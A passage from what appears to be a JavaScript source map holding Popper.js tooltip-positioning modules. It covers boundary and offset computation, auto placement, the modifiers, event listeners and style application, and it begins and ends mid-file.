axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nexport default function getBordersSize(styles, axis) {\n  const sideA = axis === 'x' ? 'Left' : 'Top';\n  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return (\n    parseFloat(styles[`border${sideA}Width`], 10) +\n    parseFloat(styles[`border${sideB}Width`], 10)\n  );\n}\n","import isIE from './isIE';\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(\n    body[`offset${axis}`],\n    body[`scroll${axis}`],\n    html[`client${axis}`],\n    html[`offset${axis}`],\n    html[`scroll${axis}`],\n    isIE(10)\n      ? (parseInt(html[`offset${axis}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]))\n    : 0 \n  );\n}\n\nexport default function getWindowSizes(document) {\n  const body = document.body;\n  const html = document.documentElement;\n  const computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle),\n  };\n}\n","/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nexport default function getClientRect(offsets) {\n  return {\n    ...offsets,\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height,\n  };\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getBordersSize from './getBordersSize';\nimport getWindowSizes from './getWindowSizes';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\nimport isIE from './isIE';\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nexport default function getBoundingClientRect(element) {\n  let rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      const scrollTop = getScroll(element, 'top');\n      const scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    }\n    else {\n      rect = element.getBoundingClientRect();\n    }\n  }\n  catch(e){}\n\n  const result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top,\n  };\n\n  // subtract scrollbar size from sizes\n  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};\n  const width =\n    sizes.width || element.clientWidth || result.right - result.left;\n  const height =\n    sizes.height || element.clientHeight || result.bottom - result.top;\n\n  let horizScrollbar = element.offsetWidth - width;\n  let vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    const styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport includeScroll from './includeScroll';\nimport getScrollParent from './getScrollParent';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport runIsIE from './isIE';\nimport getClientRect from './getClientRect';\n\nexport default function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {\n  const isIE10 = runIsIE(10);\n  const isHTML = parent.nodeName === 'HTML';\n  const childrenRect = getBoundingClientRect(children);\n  const parentRect = getBoundingClientRect(parent);\n  const scrollParent = getScrollParent(children);\n\n  const styles = getStyleComputedProperty(parent);\n  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if(fixedPosition && isHTML) {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  let offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height,\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    const marginTop = parseFloat(styles.marginTop, 10);\n    const marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (\n    isIE10 && !fixedPosition\n      ? parent.contains(scrollParent)\n      : parent === scrollParent && scrollParent.nodeName !== 'BODY'\n  ) {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n","import getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\n\nexport default function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {\n  const html = element.ownerDocument.documentElement;\n  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  const width = Math.max(html.clientWidth, window.innerWidth || 0);\n  const height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  const scrollTop = !excludeScroll ? getScroll(html) : 0;\n  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  const offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width,\n    height,\n  };\n\n  return getClientRect(offset);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nexport default function isFixed(element) {\n  const nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nexport default function getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n   if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  let el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n\n}\n","import getScrollParent from './getScrollParent';\nimport getParentNode from './getParentNode';\nimport findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getViewportOffsetRectRelativeToArtbitraryNode from './getViewportOffsetRectRelativeToArtbitraryNode';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nexport default function getBoundaries(\n  popper,\n  reference,\n  padding,\n  boundariesElement,\n  fixedPosition = false\n) {\n  // NOTE: 1 DOM access here\n\n  let boundaries = { top: 0, left: 0 };\n  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport' ) {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  }\n\n  else {\n    // Handle other cases based on DOM element used as boundaries\n    let boundariesNode;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    const offsets = getOffsetRectRelativeToArbitraryNode(\n      boundariesNode,\n      offsetParent,\n      fixedPosition\n    );\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      const { height, width } = getWindowSizes(popper.ownerDocument);\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  padding = padding || 0;\n  const isPaddingNumber = typeof padding === 'number';\n  boundaries.left += isPaddingNumber ? padding : padding.left || 0; \n  boundaries.top += isPaddingNumber ? padding : padding.top || 0; \n  boundaries.right -= isPaddingNumber ? padding : padding.right || 0; \n  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0; \n\n  return boundaries;\n}\n","import getBoundaries from '../utils/getBoundaries';\n\nfunction getArea({ width, height }) {\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeAutoPlacement(\n  placement,\n  refRect,\n  popper,\n  reference,\n  boundariesElement,\n  padding = 0\n) {\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  const boundaries = getBoundaries(\n    popper,\n    reference,\n    padding,\n    boundariesElement\n  );\n\n  const rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top,\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height,\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom,\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height,\n    },\n  };\n\n  const sortedAreas = Object.keys(rects)\n    .map(key => ({\n      key,\n      ...rects[key],\n      area: getArea(rects[key]),\n    }))\n    .sort((a, b) => b.area - a.area);\n\n  const filteredAreas = sortedAreas.filter(\n    ({ width, height }) =>\n      width >= popper.clientWidth && height >= popper.clientHeight\n  );\n\n  const computedPlacement = filteredAreas.length > 0\n    ? filteredAreas[0].key\n    : sortedAreas[0].key;\n\n  const variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? `-${variation}` : '');\n}\n","import findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nexport default function getReferenceOffsets(state, popper, reference, fixedPosition = null) {\n  const commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n","/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nexport default function getOuterSizes(element) {\n  const window = element.ownerDocument.defaultView;\n  const styles = window.getComputedStyle(element);\n  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  const result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x,\n  };\n  return result;\n}\n","/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nexport default function getOppositePlacement(placement) {\n  const hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, matched => hash[matched]);\n}\n","import getOuterSizes from './getOuterSizes';\nimport getOppositePlacement from './getOppositePlacement';\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nexport default function getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  const popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  const popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height,\n  };\n\n  // depending by the popper placement we have to compute its offsets slightly differently\n  const isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  const mainSide = isHoriz ? 'top' : 'left';\n  const secondarySide = isHoriz ? 'left' : 'top';\n  const measurement = isHoriz ? 'height' : 'width';\n  const secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] =\n    referenceOffsets[mainSide] +\n    referenceOffsets[measurement] / 2 -\n    popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] =\n      referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] =\n      referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n","/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n","import find from './find';\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(cur => cur[prop] === value);\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  const match = find(arr, obj => obj[prop] === value);\n  return arr.indexOf(match);\n}\n","import isFunction from './isFunction';\nimport findIndex from './findIndex';\nimport getClientRect from '../utils/getClientRect';\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nexport default function runModifiers(modifiers, data, ends) {\n  const modifiersToRun = ends === undefined\n    ? modifiers\n    : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(modifier => {\n    if (modifier['function']) { // eslint-disable-line dot-notation\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    const fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n","import computeAutoPlacement from '../utils/computeAutoPlacement';\nimport getReferenceOffsets from '../utils/getReferenceOffsets';\nimport getPopperOffsets from '../utils/getPopperOffsets';\nimport runModifiers from '../utils/runModifiers';\n\n/**\n * Updates the position of the popper, computing the new offsets and applying\n * the new style.<br />\n * Prefer `scheduleUpdate` over `update` because of performance reasons.\n * @method\n * @memberof Popper\n */\nexport default function update() {\n  // if popper is destroyed, don't perform any further update\n  if (this.state.isDestroyed) {\n    return;\n  }\n\n  let data = {\n    instance: this,\n    styles: {},\n    arrowStyles: {},\n    attributes: {},\n    flipped: false,\n    offsets: {},\n  };\n\n  // compute reference element offsets\n  data.offsets.reference = getReferenceOffsets(\n    this.state,\n    this.popper,\n    this.reference,\n    this.options.positionFixed\n  );\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  data.placement = computeAutoPlacement(\n    this.options.placement,\n    data.offsets.reference,\n    this.popper,\n    this.reference,\n    this.options.modifiers.flip.boundariesElement,\n    this.options.modifiers.flip.padding\n  );\n\n  // store the computed placement inside `originalPlacement`\n  data.originalPlacement = data.placement;\n\n  data.positionFixed = this.options.positionFixed;\n\n  // compute the popper offsets\n  data.offsets.popper = getPopperOffsets(\n    this.popper,\n    data.offsets.reference,\n    data.placement\n  );\n\n  data.offsets.popper.position = this.options.positionFixed\n    ? 'fixed'\n    : 'absolute';\n\n  // run the modifiers\n  data = runModifiers(this.modifiers, data);\n\n  // the first `update` will call `onCreate` callback\n  // the other ones will call `onUpdate` callback\n  if (!this.state.isCreated) {\n    this.state.isCreated = true;\n    this.options.onCreate(data);\n  } else {\n    this.options.onUpdate(data);\n  }\n}\n","/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nexport default function isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(\n    ({ name, enabled }) => enabled && name === modifierName\n  );\n}\n","/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nexport default function getSupportedPropertyName(property) {\n  const prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  const upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (let i = 0; i < prefixes.length; i++) {\n    const prefix = prefixes[i];\n    const toCheck = prefix ? `${prefix}${upperProp}` : property;\n    if (typeof document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n","import isModifierEnabled from '../utils/isModifierEnabled';\nimport getSupportedPropertyName from '../utils/getSupportedPropertyName';\n\n/**\n * Destroys the popper.\n * @method\n * @memberof Popper\n */\nexport default function destroy() {\n  this.state.isDestroyed = true;\n\n  // touch DOM only if `applyStyle` modifier is enabled\n  if (isModifierEnabled(this.modifiers, 'applyStyle')) {\n    this.popper.removeAttribute('x-placement');\n    this.popper.style.position = '';\n    this.popper.style.top = '';\n    this.popper.style.left = '';\n    this.popper.style.right = '';\n    this.popper.style.bottom = '';\n    this.popper.style.willChange = '';\n    this.popper.style[getSupportedPropertyName('transform')] = '';\n  }\n\n  this.disableEventListeners();\n\n  // remove the popper if user explicity asked for the deletion on destroy\n  // do not use `remove` because IE11 doesn't support it\n  if (this.options.removeOnDestroy) {\n    this.popper.parentNode.removeChild(this.popper);\n  }\n  return this;\n}\n","/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nexport default function getWindow(element) {\n  const ownerDocument = element.ownerDocument;\n  return ownerDocument ? ownerDocument.defaultView : window;\n}\n","import getScrollParent from './getScrollParent';\nimport getWindow from './getWindow';\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n  const isBody = scrollParent.nodeName === 'BODY';\n  const target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n  target.addEventListener(event, callback, { passive: true });\n\n  if (!isBody) {\n    attachToScrollParents(\n      getScrollParent(target.parentNode),\n      event,\n      callback,\n      scrollParents\n    );\n  }\n  scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function setupEventListeners(\n  reference,\n  options,\n  state,\n  updateBound\n) {\n  // Resize event listener on window\n  state.updateBound = updateBound;\n  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n  // Scroll event listener on scroll parents\n  const scrollElement = getScrollParent(reference);\n  attachToScrollParents(\n    scrollElement,\n    'scroll',\n    state.updateBound,\n    state.scrollParents\n  );\n  state.scrollElement = scrollElement;\n  state.eventsEnabled = true;\n\n  return state;\n}\n","import setupEventListeners from '../utils/setupEventListeners';\n\n/**\n * It will add resize/scroll events and start recalculating\n * position of the popper element when they are triggered.\n * @method\n * @memberof Popper\n */\nexport default function enableEventListeners() {\n  if (!this.state.eventsEnabled) {\n    this.state = setupEventListeners(\n      this.reference,\n      this.options,\n      this.state,\n      this.scheduleUpdate\n    );\n  }\n}\n","import getWindow from './getWindow';\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  getWindow(reference).removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(target => {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n","import removeEventListeners from '../utils/removeEventListeners';\n\n/**\n * It will remove resize/scroll events and won't recalculate popper position\n * when they are triggered. It also won't trigger `onUpdate` callback anymore,\n * unless you call `update` method manually.\n * @method\n * @memberof Popper\n */\nexport default function disableEventListeners() {\n  if (this.state.eventsEnabled) {\n    cancelAnimationFrame(this.scheduleUpdate);\n    this.state = removeEventListeners(this.reference, this.state);\n  }\n}\n","/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nexport default function isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n","import isNumeric from './isNumeric';\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setStyles(element, styles) {\n  Object.keys(styles).forEach(prop => {\n    let unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (\n      ['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !==\n        -1 &&\n      isNumeric(styles[prop])\n    ) {\n      unit = 'px';\n    }\n    element.style[prop] = styles[prop] + unit;\n  });\n}\n","/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function(prop) {\n    const value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n","import setStyles from '../utils/setStyles';\nimport setAttributes from '../utils/setAttributes';\nimport getReferenceOffsets from '../utils/getReferenceOffsets';\nimport computeAutoPlacement from '../utils/computeAutoPlacement';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} data.styles - List of style properties - values to apply to popper element\n * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The same data object\n */\nexport default function applyStyle(data) {\n  // any property present in `data.styles` will be applied to the popper,\n  // in this way we can make the 3rd party modifiers add custom styles to it\n  // Be aware, modifiers could override the properties defined in the previous\n  // lines of this modifier!\n  setStyles(data.instance.popper, data.styles);\n\n  // any property present in `data.attributes` will be applied to the popper,\n  // they will be set as HTML attributes of the element\n  setAttributes(data.instance.popper, data.attributes);\n\n  // if arrowElement is defined and arrowStyles has some properties\n  if (data.arrowElement && Object.keys(data.arrowStyles).length) {\n    setStyles(data.arrowElement, data.arrowStyles);\n  }\n\n  return data;\n}\n\n/**\n * Set the x-placement attribute before everything else because it could be used\n * to add margins to the popper margins needs to be calculated to get the\n * correct popper offsets.\n * @method\n * @memberof Popper.modifiers\n * @param {HTMLElement} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper\n * @param {Object} options - Popper.js options\n */\nexport function applyStyleOnLoad(\n  reference,\n  popper,\n  options,\n  modifierOptions,\n  state\n) {\n  // compute reference element offsets\n  const referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  const placement = computeAutoPlacement(\n    options.placement,\n    referenceOffsets,\n    popper,\n    reference,\n    options.modifiers.flip.boundariesElement,\n    options.modifiers.flip.padding\n  );\n\n  popper.setAttribute('x-placement', placement);\n\n  // Apply `position` to popper before anything else because\n  // without the position applied we can't guarantee correct computations\n  setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });\n\n  return options;\n}\n","import getSupportedPropertyName from '../utils/getSupportedPropertyName';\nimport find from '../utils/find';\nimport getOffsetParent from '../utils/getOffsetParent';\nimport getBoundingClientRect from '../utils/getBoundingClientRect';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeStyle(data, options) {\n  const { x, y } = options;\n  const { popper } = data.offsets;\n\n  // Remove this legacy support in Popper.js v2\n  const legacyGpuAccelerationOption = find(\n    data.instance.modifiers,\n    modifier => modifier.name === 'applyStyle'\n  ).gpuAcceleration;\n  if (legacyGpuAccelerationOption !== undefined) {\n    console.warn(\n      'WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!'\n    );\n  }\n  const gpuAcceleration =\n    legacyGpuAccelerationOption !== undefined\n      ? legacyGpuAccelerationOption\n      : options.gpuAcceleration;\n\n  const offsetParent = getOffsetParent(data.instance.popper);\n  const offsetParentRect = getBoundingClientRect(offsetParent);\n\n  // Styles\n  const styles = {\n    position: popper.position,\n  };\n\n  // Avoid blurry text by using full pixel integers.\n  // For pixel-perfect positioning, top/bottom prefers rounded\n  // values, while left/right prefers floored values.\n  const offsets = {\n    left: Math.floor(popper.left),\n    top: Math.round(popper.top),\n    bottom: Math.round(popper.bottom),\n    right: Math.floor(popper.right),\n  };\n\n  const sideA = x === 'bottom' ? 'top' : 'bottom';\n  const sideB = y === 'right' ? 'left' : 'right';\n\n  // if gpuAcceleration is set to `true` and transform is supported,\n  //  we use `translate3d` to apply the position to the popper we\n  // automatically use the supported prefixed version if needed\n  const prefixedProperty = getSupportedPropertyName('transform');\n\n  // now, let's make a step back and look at this code closely (wtf?)\n  // If the content of the popper grows once it's been positioned, it\n  // may happen that the popper gets misplaced because of the new content\n  // overflowing its reference element\n  // To avoid this problem, we provide two options (x and y), which allow\n  // the consumer to define the offset origin.\n  // If we position a popper on top of a reference element, we can set\n  // `x` to `top` to make the popper grow towards its top instead of\n  // its bottom.\n  let left, top;\n  if (sideA === 'bottom') {\n    // when offsetParent is <html> the positioning is relative to the bottom of the screen (excluding the scrollbar)\n    // and not the bottom of the html element\n    if (offsetParent.nodeName === 'HTML') {\n      top = -offsetParent.clientHeight + offsets.bottom;\n    } else {\n      top = -offsetParentRect.height + offsets.bottom;\n    }\n  } else {\n    top = offsets.top;\n  }\n  if (sideB === 'right') {\n    if (offsetParent.nodeName === 'HTML') {\n      left = -offsetParent.clientWidth + offsets.right;\n    } else {\n      left = -offsetParentRect.width + offsets.right;\n    }\n  } else {\n    left = offsets.left;\n  }\n  if (gpuAcceleration && prefixedProperty) {\n    styles[prefixedProperty] = `translate3d(${left}px, ${top}px, 0)`;\n    styles[sideA] = 0;\n    styles[sideB] = 0;\n    styles.willChange = 'transform';\n  } else {\n    // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties\n    const invertTop = sideA === 'bottom' ? -1 : 1;\n    const invertLeft = sideB === 'right' ? -1 : 1;\n    styles[sideA] = top * invertTop;\n    styles[sideB] = left * invertLeft;\n    styles.willChange = `${sideA}, ${sideB}`;\n  }\n\n  // Attributes\n  const attributes = {\n    'x-placement': data.placement,\n  };\n\n  // Update `data` attributes, styles and arrowStyles\n  data.attributes = { ...attributes, ...data.attributes };\n  data.styles = { ...styles, ...data.styles };\n  data.arrowStyles = { ...data.offsets.arrow, ...data.arrowStyles };\n\n  return data;\n}\n","import find from './find';\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nexport default function isModifierRequired(\n  modifiers,\n  requestingName,\n  requestedName\n) {\n  const requesting = find(modifiers, ({ name }) => name === requestingName);\n\n  const isRequired =\n    !!requesting &&\n    modifiers.some(modifier => {\n      return (\n        modifier.name === requestedName &&\n        modifier.enabled &&\n        modifier.order < requesting.order\n      );\n    });\n\n  if (!isRequired) {\n    const requesting = `\\`${requestingName}\\``;\n    const requested = `\\`${requestedName}\\``;\n    console.warn(\n      `${requested} modifier 